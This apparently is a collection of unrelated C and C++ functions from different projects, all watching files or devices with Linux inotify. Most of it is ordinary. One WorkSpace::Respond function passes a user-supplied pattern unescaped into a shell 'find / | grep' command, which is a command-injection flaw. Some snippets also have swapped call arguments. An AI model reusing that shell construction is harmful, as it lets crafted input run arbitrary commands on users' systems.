void usb_host_run(struct usb_host_context *context, usb_device_added_cb added_cb, usb_device_removed_cb removed_cb, usb_discovery_done_cb discovery_done_cb, void *client_data) { struct inotify_event* event; char event_buf[512]; char path[100]; int i, ret, done = 0; int wd, wdd, wds[10]; int wd_count = sizeof(wds) / sizeof(wds[0]); D("Created device discovery thread\n"); /* watch for files added and deleted within USB_FS_DIR */ for (i = 0; i < wd_count; i++) wds[i] = -1; /* watch the root for new subdirectories */ wdd = inotify_add_watch(context->fd, DEV_DIR, IN_CREATE | IN_DELETE); if (wdd < 0) { fprintf(stderr, "inotify_add_watch failed\n"); if (discovery_done_cb) discovery_done_cb(client_data); return; } watch_existing_subdirs(context, wds, wd_count); /* check for existing devices first, after we have inotify set up */ done = find_existing_devices(added_cb, client_data); if (discovery_done_cb) done |= discovery_done_cb(client_data); while (!done) { ret = read(context->fd, event_buf, sizeof(event_buf)); if (ret >= (int)sizeof(struct inotify_event)) { event = (struct inotify_event *)event_buf; wd = event->wd; if (wd == wdd) { if ((event->mask & IN_CREATE) && !strcmp(event->name, "bus")) { watch_existing_subdirs(context, wds, wd_count); done = find_existing_devices(added_cb, client_data); } else if ((event->mask & IN_DELETE) && !strcmp(event->name, "bus")) { for (i = 0; i < wd_count; i++) { if (wds[i] >= 0) { inotify_rm_watch(context->fd, wds[i]); wds[i] = -1; } } } } else if (wd == wds[0]) { i = atoi(event->name); snprintf(path, sizeof(path), "%s/%s", USB_FS_DIR, event->name); D("%s subdirectory %s: index: %d\n", (event->mask & IN_CREATE) ? "new" : "gone", path, i); if (i > 0 && i < wd_count) { if (event->mask & IN_CREATE) { ret = inotify_add_watch(context->fd, path, IN_CREATE | IN_DELETE); if (ret >= 0) wds[i] = ret; done = find_existing_devices_bus(path, added_cb, client_data); } else if (event->mask & IN_DELETE) { inotify_rm_watch(context->fd, wds[i]); wds[i] = -1; } } } else { for (i = 1; i < wd_count && !done; i++) { if (wd == wds[i]) { snprintf(path, sizeof(path), "%s/%03d/%s", USB_FS_DIR, i, event->name); if (event->mask == IN_CREATE) { D("new device %s\n", path); done = added_cb(path, client_data); } else if (event->mask == IN_DELETE) { D("gone device %s\n", path); done = removed_cb(path, client_data); } } } } } } }
int linux_sync_remove(fuser_t *u, sync_t *sync, sync_ent_t *ent) { inotify_rm_watch(sync->sync_fd, ent->id); return (0); }
/* linux monitoring */ static void* DoMonitor(void* arg) { int notifyFd; int wd = -1; WOLFSSL_CRL* crl = (WOLFSSL_CRL*)arg; #ifdef WOLFSSL_SMALL_STACK char* buff; #else char buff[8192]; #endif WOLFSSL_ENTER("DoMonitor"); crl->mfd = eventfd(0, 0); /* our custom shutdown event */ if (crl->mfd < 0) { WOLFSSL_MSG("eventfd failed"); SignalSetup(crl, MONITOR_SETUP_E); return NULL; } notifyFd = inotify_init(); if (notifyFd < 0) { WOLFSSL_MSG("inotify failed"); close(crl->mfd); SignalSetup(crl, MONITOR_SETUP_E); return NULL; } if (crl->monitors[0].path) { wd = inotify_add_watch(notifyFd, crl->monitors[0].path, IN_CLOSE_WRITE | IN_DELETE); if (wd < 0) { WOLFSSL_MSG("PEM notify add watch failed"); close(crl->mfd); close(notifyFd); SignalSetup(crl, MONITOR_SETUP_E); return NULL; } } if (crl->monitors[1].path) { wd = inotify_add_watch(notifyFd, crl->monitors[1].path, IN_CLOSE_WRITE | IN_DELETE); if (wd < 0) { WOLFSSL_MSG("DER notify add watch failed"); close(crl->mfd); close(notifyFd); SignalSetup(crl, MONITOR_SETUP_E); return NULL; } } #ifdef WOLFSSL_SMALL_STACK buff = (char*)XMALLOC(8192, NULL, DYNAMIC_TYPE_TMP_BUFFER); if (buff == NULL) return NULL; #endif /* signal to calling thread we're setup */ if (SignalSetup(crl, 1) != 0) { #ifdef WOLFSSL_SMALL_STACK XFREE(buff, NULL, DYNAMIC_TYPE_TMP_BUFFER); #endif if (wd > 0) inotify_rm_watch(notifyFd, wd); close(crl->mfd); close(notifyFd); return NULL; } for (;;) { fd_set readfds; int result; int length; FD_ZERO(&readfds); FD_SET(notifyFd, &readfds); FD_SET(crl->mfd, &readfds); result = select(max(notifyFd, crl->mfd) + 1, &readfds, NULL, NULL,NULL); WOLFSSL_MSG("Got notify event"); if (result < 0) { WOLFSSL_MSG("select problem, continue"); continue; } if (FD_ISSET(crl->mfd, &readfds)) { WOLFSSL_MSG("got custom shutdown event, breaking out"); break; } length = (int) read(notifyFd, buff, 8192); if (length < 0) { WOLFSSL_MSG("notify read problem, continue"); continue; } if (SwapLists(crl) < 0) { WOLFSSL_MSG("SwapLists problem, continue"); } } #ifdef WOLFSSL_SMALL_STACK XFREE(buff, NULL, DYNAMIC_TYPE_TMP_BUFFER); #endif if (wd > 0) inotify_rm_watch(notifyFd, wd); close(crl->mfd); close(notifyFd); return NULL; }
void StatCache::removeWatch(int wd) { #ifdef __linux__ inotify_rm_watch(m_ifd, wd); #endif }
void events::run() { m_running = true ; m_mtoto = this ; connect( m_mtoto,SIGNAL( finished() ),m_main,SLOT( threadStopped() ) ) ; connect( m_mtoto,SIGNAL( finished() ),m_mtoto,SLOT( deleteLater() ) ) ; connect( this,SIGNAL( volumeMiniProperties( volumeEntryProperties * ) ), m_babu,SLOT( autoMountVolume( volumeEntryProperties * ) ) ) ; connect( this,SIGNAL( volumeRemoved( QString ) ), m_babu,SLOT( volumeRemoved( QString ) ) ) ; utility::fileHandle f( inotify_init() ) ; int fd = f.handle() ; if( fd == -1 ){ return this->failedToStart() ; } int dev = inotify_add_watch( fd,"/dev",IN_CREATE|IN_DELETE ) ; int dm = inotify_add_watch( fd,"/dev/mapper",IN_CREATE|IN_DELETE ) ; int md = -1 ; if( utility::pathExists( "/dev/dm" ) ){ md = inotify_add_watch( fd,"/dev/md",IN_DELETE ) ; } auto _allowed_device = []( const char * device ){ /* * dont care about these devices. * /dev/sgX seem to be created when a usb device is plugged in * /dev/dm-X are dm devices we dont care about since we will be dealing with them differently */ bool s = _startsWith( device,"sg" ) || _startsWith( device,"dm-" ) || _contains( device,"dev/tmp" ) || _contains( device,"dev-tmp" ) || _contains( device,".tmp.md." ) || _contains( device,"md/md-device-map" ) ; return s == false ; } ; auto _device_action = [&]( const struct inotify_event * event ){ /* * /dev/md/ folder seem to be deleted when the last entry in it is removed and * created before the first entry is added.To account for this,monitor for the * folder creation to start monitoring its contents. */ if( event->wd == dev && event->mask & IN_CREATE ){ if( _stringsAreEqual( "md",event->name ) ){ md = inotify_add_watch( fd,"/dev/md",IN_DELETE ) ; return false ; } } if( event->wd == dev && event->mask & IN_DELETE ){ if( _stringsAreEqual( "md",event->name ) ){ inotify_rm_watch( md,dev ) ; return false ; } } return true ; } ; const char * currentEvent ; const char * end ; constexpr int BUFF_SIZE = 4096 ; char buffer[ BUFF_SIZE ] ; fd_set rfds ; FD_ZERO( &rfds ) ; int select_fd = fd + 1 ; auto _eventsReceived = [ & ](){ /* * we are blocking on select() and not on read() because QThread->terminate() does not seem to * be able to get out of a blocked read() on certain Qt versions. */ auto _gotEvents = [ & ](){ FD_SET( fd,&rfds ) ; return select( select_fd,&rfds,nullptr,nullptr,nullptr ) > 0 ; } ; if( _gotEvents() ){ auto s = read( fd,buffer,BUFF_SIZE ) ; if( s > 0 ){ end = buffer + s ; currentEvent = buffer ; return true ; } } return false ; } ; auto _processEvent = [ & ]( const struct inotify_event * event ){ if( _device_action( event ) && _allowed_device( event->name ) ){ auto _device = [ & ](){ if( event->wd == dm ){ return zuluMountTask::devices::dm_device ; }else if( event->wd == md ){ return zuluMountTask::devices::md_device ; }else{ return zuluMountTask::devices::device ; } } ; zuluMountTask::event e{ _device(),event->mask == IN_CREATE,event->name } ; Task::exec( [ this,e ](){ auto r = zuluMountTask::deviceProperties( e ) ; if( r.volumeRemoved ){ emit volumeRemoved( r.volumeName ) ; }else{ emit volumeMiniProperties( r.entry ) ; } } ) ; } } ; #define _cast( x ) reinterpret_cast< const struct inotify_event * >( currentEvent ) #define _eventSize sizeof( struct inotify_event ) while( true ){ if( _eventsReceived() ){ while( currentEvent < end ){ auto event = _cast( currentEvent ) ; if( event ){ _processEvent( event ) ; currentEvent += _eventSize + event->len ; }else{ currentEvent += _eventSize ; } } } } }
void MtpStorage::handleInotifyEvent(struct inotify_event* event) { std::map<int, Tree*>::iterator it = inotifymap.find(event->wd); if (it == inotifymap.end()) { MTPE("Unable to locate inotify_wd: %i\n", event->wd); return; } Tree* tree = it->second; MTPD("inotify_t tree: %x '%s'\n", tree, tree->getName().c_str()); Node* node = tree->findEntryByName(basename(event->name)); if (node && node->Mtpid() == handleCurrentlySending) { MTPD("ignoring inotify event for currently uploading file, handle: %u\n", node->Mtpid()); return; } if (event->mask & IN_CREATE || event->mask & IN_MOVED_TO) { if (event->mask & IN_ISDIR) { MTPD("inotify_t create is dir\n"); } else { MTPD("inotify_t create is file\n"); } if (node == NULL) { node = addNewNode(event->mask & IN_ISDIR, tree, event->name); std::string item = getNodePath(tree) + "/" + event->name; node->addProperties(item, getStorageID()); mServer->sendObjectAdded(node->Mtpid()); } else { MTPD("inotify_t item already exists.\n"); } if (event->mask & IN_ISDIR) { // TODO: do we need to do anything here? probably not until someone reads from the dir... } } else if (event->mask & IN_DELETE || event->mask & IN_MOVED_FROM) { if (event->mask & IN_ISDIR) { MTPD("inotify_t Directory %s deleted\n", event->name); } else { MTPD("inotify_t File %s deleted\n", event->name); } if (node) { if (event->mask & IN_ISDIR) { for (std::map<int, Tree*>::iterator it = inotifymap.begin(); it != inotifymap.end(); ++it) { if (it->second == node) { inotify_rm_watch(inotify_fd, it->first); MTPD("inotify_t removing watch on '%s'\n", getNodePath(it->second).c_str()); inotifymap.erase(it->first); break; } } } MtpObjectHandle handle = node->Mtpid(); deleteFile(handle); mServer->sendObjectRemoved(handle); } else { MTPD("inotify_t already removed.\n"); } } else if (event->mask & IN_MODIFY) { MTPD("inotify_t item %s modified.\n", event->name); if (node != NULL) { uint64_t orig_size = node->getProperty(MTP_PROPERTY_OBJECT_SIZE).valueInt; struct stat st; uint64_t new_size = 0; if (lstat(getNodePath(node).c_str(), &st) == 0) new_size = (uint64_t)st.st_size; if (orig_size != new_size) { MTPD("size changed from %llu to %llu on mtpid: %u\n", orig_size, new_size, node->Mtpid()); node->updateProperty(MTP_PROPERTY_OBJECT_SIZE, new_size, "", MTP_TYPE_UINT64); mServer->sendObjectUpdated(node->Mtpid()); } } else { MTPE("inotify_t modified item not found\n"); } } else if (event->mask & IN_DELETE_SELF || event->mask & IN_MOVE_SELF) { // TODO: is this always already handled by IN_DELETE for the parent dir? } }
void InputHandler_Linux_Joystick::HotplugThread() { int ifd = inotify_init(); if (ifd < 0) { LOG->Warn("Error initializing inotify: %s", strerror(errno)); return; } int wfd = inotify_add_watch(ifd, "/dev/input", IN_CREATE|IN_DELETE); if (wfd < 0) { close(ifd); LOG->Warn("Error watching /dev/input"); return; } LOG->Info("Watching /dev/input for changes"); while( !m_bShutdown ) { fd_set fdset; FD_ZERO(&fdset); FD_SET(ifd, &fdset); struct timeval tv = {0,100000}; if( select(ifd+1, &fdset, NULL, NULL, &tv) <= 0 ) continue; char buf[1024]; memset(buf, 0, 1024); int ret = read(ifd, buf, 1024); if (ret < 1) { LOG->Warn("Error reading inotify: %s", strerror(errno)); break; } char *ptr = buf; while (ptr) { struct inotify_event *ev = (struct inotify_event *)ptr; if (ev->mask & IN_CREATE) { if (CString(ev->name).find("js") == 0) { SCREENMAN->PlayCoinSound(); struct timeval tv = {0,500000}; select(1, NULL, NULL, NULL, &tv); Attach("/dev/input/" + CString(ev->name)); } } else if (ev->mask & IN_DELETE) { if (CString(ev->name).find("js") == 0) { Detach("/dev/input/" + CString(ev->name)); } } ptr += sizeof(struct inotify_event) + ev->len; if (ptr > buf + ret) ptr = NULL; } } inotify_rm_watch(ifd, wfd); close(ifd); }
int main(int argc, char **argv) { int opt; int fd; int fd_d; int ret = 0; int flags = O_RDONLY; while ((opt = getopt(argc, argv, "t")) != -1) { switch (opt) { case 't': flags = (O_RDWR | O_TRUNC); break; default: fprintf(stderr, usage_str, argv[0]); exit(EXIT_FAILURE); } } if (optind >= argc) { fprintf(stderr, usage_str, argv[0]); exit(EXIT_FAILURE); } fd_d = open(argv[optind], flags); if (!(flags & O_TRUNC)) while (read_frame(fd_d) > 0); fd = inotify_init(); if (fd >= 0 && fd_d >= 0) { int wd; struct sigaction sa; sa.sa_handler = handle_signal; sigemptyset(&sa.sa_mask); sa.sa_flags = 0; sigaction(SIGINT, &sa, NULL); wd = inotify_add_watch(fd, argv[optind], IN_MODIFY); while (running) { if (check_event(fd) > 0) process_events(fd, fd_d); else break; } fprintf(stderr, " Exiting..\n"); close(fd_d); inotify_rm_watch(fd, wd); } else { fprintf(stderr, "unable to open \"%s\" for reading\n", argv[optind]); ret = EXIT_FAILURE; } return ret; }
int main(int argc, char *argv[]) { if (argc < 2) { printf("Usage: %s root/path/to/watch /anotherpath/to/watch .. \r\n",argv[0]); return EXIT_SUCCESS; } int length, i = 0; int notifyfd; int wd; char buffer[EVENT_BUF_LEN]; int watches[argc-1]; fd_set selectset; FD_ZERO(&selectset); FD_SET(0, &selectset); /*creating the INOTIFY instance*/ notifyfd = inotify_init(); FD_SET(notifyfd, &selectset); /*checking for error*/ if ( notifyfd < 0 ) { perror("inotify_init failed"); } for (i = 1; i < argc; i++) { watches[i-1] = inotify_add_watch(notifyfd, argv[i], IN_CREATE | IN_MODIFY); } for (;;) { fd_set readset = selectset; if (select(notifyfd+1, &readset, NULL, NULL, NULL) == -1) { perror("Unable to select"); return 0; } if (FD_ISSET(0,&readset)) break; else { length = read(notifyfd, buffer, EVENT_BUF_LEN); if (length < 0) { perror("unable to read from inotify"); return 0; } i = 0; while(i < length) { struct inotify_event *event = (struct inotify_event*)&buffer[i]; if (event->len) { int j; for (j = 1; j < argc; j++) { if (watches[j-1] == event->wd) { printf("%s/%s\r\n", argv[j], event->name); break; } } } i += EVENT_SIZE + event->len; } } } for (i = 1; i < argc; i++) inotify_rm_watch(notifyfd, watches[i-1]); close(notifyfd); }
int main( int argc, char **argv ) { int length; int fd; int wd; int num; int ret = 0; char buffer[BUF_LEN]; int i = 0; switch( getopt( argc, argv, "n:h" ) ) { case 'n': if( NULL == optarg ) { printf( "Missing argument for \"-s\"" ); usage( argv[0] ); exit(1); } num = atoi(optarg); if(num == 0) { printf("Please enter a legitimate number as arg to n\n"); return -1; } break; case 'h': default: usage( argv[0] ); exit(0); } ret = mkdir("inotify_test", S_IRWXU | S_IRWXG | S_IRWXO); if(ret !=0) { perror("Error"); return -1; } ret = mkdir("inotify_test/dir1", S_IRWXU | S_IRWXG | S_IRWXO); fd = inotify_init(); if ( fd < 0 ) { perror( "inotify_init\n" ); return -1; } wd = inotify_add_watch( fd, "inotify_test/dir1", IN_MODIFY | IN_CREATE | IN_DELETE ); if( wd < 0) { perror( "inotify_add_watch"); } ret = do_file_func("inotify_test/dir1", num); if(ret != 0) { perror( "do_file_func"); return -1; } length = read( fd, buffer, BUF_LEN ); if ( length < 0 ) { perror( "read" ); return -1; } i = 0; while ( i < length ) { struct inotify_event *event = ( struct inotify_event * ) &buffer[ i ]; if ( event->len ) { if ( event->mask & IN_CREATE ) { if ( event->mask & IN_ISDIR ) { printf( "The directory %s was created.\n", event->name ); } else { printf( "The file %s was created.\n", event->name ); } } else if ( event->mask & IN_DELETE ) { if ( event->mask & IN_ISDIR ) { printf( "The directory %s was deleted.\n", event->name ); } else { printf( "The file %s was deleted.\n", event->name ); } } else if ( event->mask & IN_MODIFY ) { if ( event->mask & IN_ISDIR ) { printf( "The directory %s was modified.\n", event->name ); } else { printf( "The file %s was modified.\n", event->name ); } } } i += EVENT_SIZE + event->len; } ( void ) inotify_rm_watch( fd, wd ); ( void ) close( fd ); exit( 0 ); }
std::string WorkSpace::Respond(const std::string& query) { const char* cquery = query.c_str(); std::cmatch match; try { if ( std::regex_match( cquery, match, std::regex("\\s*") ) ) { return query; } else if ( std::regex_match( cquery, match, std::regex("\\s*check\\s+file\\s+(.+)\\s*") ) ) { if (access(std::string(match[1]).c_str(), F_OK ) == -1) { throw FIException(142142, "File with name " + std::string(match[1]) + " does not exits."); } if (CheckFile(match[1])) { return "File hasn't changed."; } else { return "File has changed."; } } else if ( std::regex_match( cquery, match, std::regex("\\s*add\\s+file\\s+(.+)\\s*") ) ) { if (access(std::string(match[1]).c_str(), F_OK ) == -1) { throw FIException(171142, "File with name " +std::string(match[1]) + " does not exits."); } pthread_mutex_lock(&m); AddFileToInotify(std::string(match[1])); // inotify_add_watch(inotify, std::string(match[1]).c_str(), IN_ALL_EVENTS); AddCheckSum(match[1]); pthread_mutex_unlock(&m); } else if ( std::regex_match( cquery, match, std::regex("\\s*delete\\s+file\\s+(.+)\\s*") ) ) { pthread_mutex_lock(&m); int wd = ind_by_files_table.Select(std::string(match[1])); logger << wd; ind_by_files_table.Delete(std::string(match[1])); files_by_ind_table.Delete(wd); checksum_table.Delete(std::string(match[1])); inotify_rm_watch(inotify, wd); pthread_mutex_unlock(&m); } else if ( std::regex_match( cquery, match, std::regex("\\s*update\\s+file\\s+(.+)\\s*") ) ) { if (access(std::string(match[1]).c_str(), F_OK ) == -1) { throw FIException(171142, "File with name " + std::string(match[1]) + " does not exits."); } AddCheckSum(match[1]); return "Ok"; } else if ( std::regex_match( cquery, match, std::regex("\\s*add\\s+files\\s+(.+)\\s*") ) ) { ExecuteHandler ex(" find / | grep -E \'" + std::string(match[1]) + "\'"); std::string file_name; std::string files; while (ex >> file_name) { files += file_name + " : " + Respond("add file " + file_name) + "\n"; } return files; } else if ( std::regex_match( cquery, match, std::regex("\\s*help\\s*") ) ) { return std::string("Queries:\n") +"\tadd file <filename>\n" + "\tdelete file <filename>\n" + "\tcheck file <filname>\n" + "\tupdate file <filename>\n" + "\tadd files <regexp>"; } else { return "Incorrent query."; } } catch (std::exception& e) {
/* Thread: scan */ static void process_inotify_dir(struct watch_info *wi, char *path, struct inotify_event *ie) { struct watch_enum we; uint32_t rm_wd; char *s; int flags = 0; int ret; DPRINTF(E_SPAM, L_SCAN, "Directory event: 0x%x, cookie 0x%x, wd %d\n", ie->mask, ie->cookie, wi->wd); if (ie->mask & IN_UNMOUNT) { db_file_disable_bymatch(path, "", 0); db_pl_disable_bymatch(path, "", 0); } if (ie->mask & IN_MOVE_SELF) { /* A directory we know about, that got moved from a place * we know about to a place we know nothing about */ if (wi->cookie) { memset(&we, 0, sizeof(struct watch_enum)); we.cookie = wi->cookie; ret = db_watch_enum_start(&we); if (ret < 0) return; while ((db_watch_enum_fetchwd(&we, &rm_wd) == 0) && (rm_wd)) { inotify_rm_watch(inofd, rm_wd); } db_watch_enum_end(&we); db_watch_delete_bycookie(wi->cookie); } else { /* If the directory exists, it has been moved and we've * kept track of it successfully, so we're done */ ret = access(path, F_OK); if (ret == 0) return; /* Most probably a top-level dir is getting moved, * and we can't tell where it's going */ ret = watches_clear(ie->wd, path); if (ret < 0) return; db_file_disable_bymatch(path, "", 0); db_pl_disable_bymatch(path, "", 0); } } if (ie->mask & IN_MOVED_FROM) { db_watch_mark_bypath(path, path, ie->cookie); db_watch_mark_bymatch(path, path, ie->cookie); db_file_disable_bymatch(path, path, ie->cookie); db_pl_disable_bymatch(path, path, ie->cookie); } if (ie->mask & IN_MOVED_TO) { if (db_watch_cookie_known(ie->cookie)) { db_watch_move_bycookie(ie->cookie, path); db_file_enable_bycookie(ie->cookie, path); db_pl_enable_bycookie(ie->cookie, path); /* We'll rescan the directory tree to update playlists */ flags |= F_SCAN_MOVED; } ie->mask |= IN_CREATE; } if (ie->mask & IN_ATTRIB) { DPRINTF(E_DBG, L_SCAN, "Directory permissions changed (%s): %s\n", wi->path, path); // Find out if we are already watching the dir (ret will be 0) s = wi->path; wi->path = path; ret = db_watch_get_bypath(wi); if (ret == 0) free(wi->path); wi->path = s; #ifdef HAVE_EUIDACCESS if (euidaccess(path, (R_OK | X_OK)) < 0) #else if (access(path, (R_OK | X_OK)) < 0) #endif { DPRINTF(E_LOG, L_SCAN, "Directory access to '%s' failed: %s\n", path, strerror(errno)); if (ret == 0) watches_clear(wi->wd, path); db_file_disable_bymatch(path, "", 0); db_pl_disable_bymatch(path, "", 0); } else if (ret < 0) { DPRINTF(E_LOG, L_SCAN, "Directory access to '%s' achieved\n", path); ie->mask |= IN_CREATE; } else { DPRINTF(E_INFO, L_SCAN, "Directory event, but '%s' already being watched\n", path); } } if (ie->mask & IN_CREATE) { process_directories(path, flags); if (dirstack) DPRINTF(E_LOG, L_SCAN, "WARNING: unhandled leftover directories\n"); } }
void auto_mount::run() { /* * Not exactly sure what i am doing here but this kind of thing seem to be necessary to prevent * an occassional crash on exit with an error that reads something like "object deleted while thread is still running" */ m_mtoto = static_cast< QThread * >( this ) ; connect( m_mtoto,SIGNAL( terminated() ),m_main,SLOT( threadStopped() ) ) ; connect( m_mtoto,SIGNAL( terminated() ),m_mtoto,SLOT( deleteLater() ) ) ; connect( m_mtoto,SIGNAL( terminated() ),this,SLOT( deleteLater() ) ) ; #define BUFF_SIZE 4096 char buffer[ BUFF_SIZE ]; m_fdDir = inotify_init() ; if( m_fdDir == -1 ){ qDebug() << "inotify_init() failed to start,automounting is turned off"; m_threadIsRunning = false ; return ; }else{ m_threadIsRunning = true ; } int dev = inotify_add_watch( m_fdDir,"/dev",IN_CREATE|IN_DELETE ) ; int mapper = inotify_add_watch( m_fdDir,"/dev/mapper",IN_CREATE|IN_DELETE ) ; int md = -1 ; QDir d( QString( "/dev/dm" ) ) ; if( d.exists() ){ md = inotify_add_watch( m_fdDir,"/dev/md",IN_DELETE ) ; } struct inotify_event * pevent ; QString device ; const char * f ; const char * z ; int data_read ; int baseSize = sizeof( struct inotify_event ) ; while( 1 ) { data_read = read( m_fdDir,buffer,BUFF_SIZE ) ; z = buffer + data_read ; for( f = buffer ; f < z ; f = f + baseSize + pevent->len ){ pevent = ( struct inotify_event * )f; m_device = f + baseSize ; #define stringPrefixMatch( x,y,z ) strncmp( x,y,z ) == 0 #define stringEqual( x,y ) strcmp( x,y ) == 0 #define stringHasComponent( x,y ) strstr( x,y ) != NULL if( stringPrefixMatch( m_device,"sg",2 ) || stringPrefixMatch( m_device,"dm-",3 ) || stringHasComponent( m_device,".dev/tmp" ) || stringHasComponent( m_device,".tmp.md." ) || stringHasComponent( m_device,"md/md-device-map" ) ){ /* * dont care about these devices. * /dev/sgX seem to be created when a usb device is plugged in * /dev/dm-X are dm devices we dont care about since we will be dealing with them differently */ ; }else{ if( pevent->wd == dev && pevent->mask & IN_CREATE ){ /* * /dev/md path seem to be deleted when the last entry in it is removed and * created before the first entry is added.To account for this,monitor for the * folder created to start monitoring its contents if it get created after we have started */ if( stringEqual( "md",m_device ) ){ md = inotify_add_watch( m_fdDir,"/dev/md",IN_DELETE ) ; continue ; } } if( pevent->wd == dev && pevent->mask & IN_DELETE ){ if( stringEqual( "md",m_device ) ){ inotify_rm_watch( md,dev ); continue ; } } device = QString( m_device ); m_thread_helper = new auto_mount_helper() ; connect( m_thread_helper,SIGNAL( getVolumeSystemInfo( QStringList ) ), m_babu,SLOT( autoMountVolumeSystemInfo( QStringList ) ) ) ; connect( m_thread_helper,SIGNAL( getVolumeInfo( QStringList ) ), m_babu,SLOT( autoMountVolumeInfo( QStringList ) ) ) ; connect( m_thread_helper,SIGNAL( deviceRemoved( QString ) ), m_babu,SLOT( deviceRemoved( QString ) ) ) ; if( pevent->wd == dev ){ m_thread_helper->start( device,auto_mount_helper::dev,pevent->mask ) ; }else if( pevent->wd == mapper ){ m_thread_helper->start( device,auto_mount_helper::dev_mapper,pevent->mask ) ; }else if( pevent->wd == md ){ m_thread_helper->start( device,auto_mount_helper::dev_md,pevent->mask ) ; }else{ ; } } } } }
/* add a watch. The watch is removed when the caller calls talloc_free() on *handle */ NTSTATUS inotify_watch(struct sys_notify_context *ctx, struct notify_entry *e, void (*callback)(struct sys_notify_context *ctx, void *private_data, struct notify_event *ev), void *private_data, void *handle_p) { struct inotify_private *in; int wd; uint32_t mask; struct inotify_watch_context *w; uint32_t filter = e->filter; void **handle = (void **)handle_p; /* maybe setup the inotify fd */ if (ctx->private_data == NULL) { NTSTATUS status; status = inotify_setup(ctx); NT_STATUS_NOT_OK_RETURN(status); } in = talloc_get_type(ctx->private_data, struct inotify_private); mask = inotify_map(e); if (mask == 0) { /* this filter can't be handled by inotify */ return NT_STATUS_INVALID_PARAMETER; } /* using IN_MASK_ADD allows us to cope with inotify() returning the same watch descriptor for muliple watches on the same path */ mask |= (IN_MASK_ADD | IN_ONLYDIR); /* get a new watch descriptor for this path */ wd = inotify_add_watch(in->fd, e->path, mask); if (wd == -1) { e->filter = filter; DEBUG(1, ("inotify_add_watch returned %s\n", strerror(errno))); return map_nt_error_from_unix(errno); } DEBUG(10, ("inotify_add_watch for %s mask %x returned wd %d\n", e->path, mask, wd)); w = talloc(in, struct inotify_watch_context); if (w == NULL) { inotify_rm_watch(in->fd, wd); e->filter = filter; return NT_STATUS_NO_MEMORY; } w->in = in; w->wd = wd; w->callback = callback; w->private_data = private_data; w->mask = mask; w->filter = filter; w->path = talloc_strdup(w, e->path); if (w->path == NULL) { inotify_rm_watch(in->fd, wd); e->filter = filter; return NT_STATUS_NO_MEMORY; } (*handle) = w; DLIST_ADD(in->watches, w); /* the caller frees the handle to stop watching */ talloc_set_destructor(w, watch_destructor); return NT_STATUS_OK; }
int DoRemoveInotify(wxFSWatchEntry* watch) { return inotify_rm_watch(m_ifd, watch->GetWatchDescriptor()); }
void *watch_for_file_creation(watch_target *target) { int length, i; int fd; int wd; int dir_strlen; char buffer[EVENT_BUF_LEN]; char *dir = target->dir; void (*callback)(char *, char *) = target->callback; int read_content = target->read_content; free(target); dir_strlen = strlen(dir); signal(SIGTERM, sig_handler); fd = inotify_init(); if (fd < 0) { perror("inotify_init error"); exit(1); } struct stat st; int err = stat(dir, &st); if (err == -1) { if (errno == ENOENT) { fprintf(stderr, "Hook target directory does not exist\n"); } else { perror("stat error"); } exit(1); } else { if (!S_ISDIR(st.st_mode)) { fprintf(stderr, "Hook target is not a directory\n"); exit(1); } } if (access(dir, R_OK) != 0) { perror("Can't access hook target directory"); exit(1); } uint32_t inotify_mask; if (read_content) { inotify_mask = IN_CLOSE_WRITE; } else { inotify_mask = IN_CREATE; } wd = inotify_add_watch(fd, dir, inotify_mask); while (keep_watching) { length = read(fd, buffer, EVENT_BUF_LEN); if (length < 0) { break; } i = 0; while (i < length) { struct inotify_event *event = ( struct inotify_event * ) &buffer[ i ]; if (event->len) { if (event->mask & inotify_mask) { if (!(event->mask & IN_ISDIR)) { // file int path_len = dir_strlen + strlen(event->name) + 2; char *path = malloc(path_len); if (path == NULL) { perror("malloc for file path failed"); } else { snprintf(path, path_len, "%s/%s", dir, event->name); if (read_content) { // Read file contents FILE *fp = fopen(path, "rb"); char *content = NULL; if (fp) { fseek(fp, 0, SEEK_END); long content_len = ftell(fp); fseek(fp, 0, SEEK_SET); content = malloc(content_len + 1); if (content) { fread(content, 1, content_len, fp); content[content_len] = '\0'; } else { perror("malloc for file content failed"); } fclose(fp); } else { perror("fopen failed"); } callback(event->name, content); free(content); } else { callback(event->name, NULL); } // Delete that file if (unlink(path) != 0) { perror("unlink failed"); } free(path); } } } } i += EVENT_SIZE + event->len; } } inotify_rm_watch(fd, wd); close(fd); pthread_exit(0); }
void gpio_wait(TGpioPort *port, int count, int usec, _func_gpio_portvalue on_portvalue) { char buffer[GPIO_BUFFER_SIZE]; int a, max; struct timeval wait_tv; #ifdef __GPIO_SIMULATE int inot_fd = inotify_init(); #endif fd_set rfds; FD_ZERO(&rfds); max = -1; //supla_log(LOG_DEBUG, "gpio_wait"); wait_tv.tv_sec = (int)(usec/1000000); wait_tv.tv_usec = (int)(usec%1000000); for(a=0;a<count;a++) { port[a].fd = open(gpio_get_file(buffer, port[a].number, "value"), O_RDONLY); #ifdef __GPIO_SIMULATE port[a].ifd = inotify_add_watch(inot_fd, gpio_get_file(buffer, port[a].number, "value"), IN_MODIFY); if ( port[a].fd != -1 && port[a].ifd != -1 ) { gpio_read_and_raise(&port[a], on_portvalue); } #else if ( port[a].fd != -1 ) { if ( port[a].fd > max ) max=port[a].fd; FD_SET(port[a].fd, &rfds); gpio_read_and_raise(&port[a], on_portvalue); } #endif } #ifdef __GPIO_SIMULATE if ( inot_fd > max ) max=inot_fd; FD_SET(inot_fd, &rfds); #endif if ( max != -1 ) { #ifdef __GPIO_SIMULATE select(max+1, &rfds, NULL, NULL, &wait_tv); #else select(max+1, NULL, NULL, &rfds, &wait_tv); #endif } for(a=0;a<count;a++) if ( port[a].fd != -1 ) { gpio_read_and_raise(&port[a], on_portvalue); #ifdef __GPIO_SIMULATE if ( port[a].ifd != -1 ) inotify_rm_watch(inot_fd, port[a].ifd); #endif close(port[a].fd); port[a].fd = -1; }; #ifdef __GPIO_SIMULATE close(inot_fd); #endif }
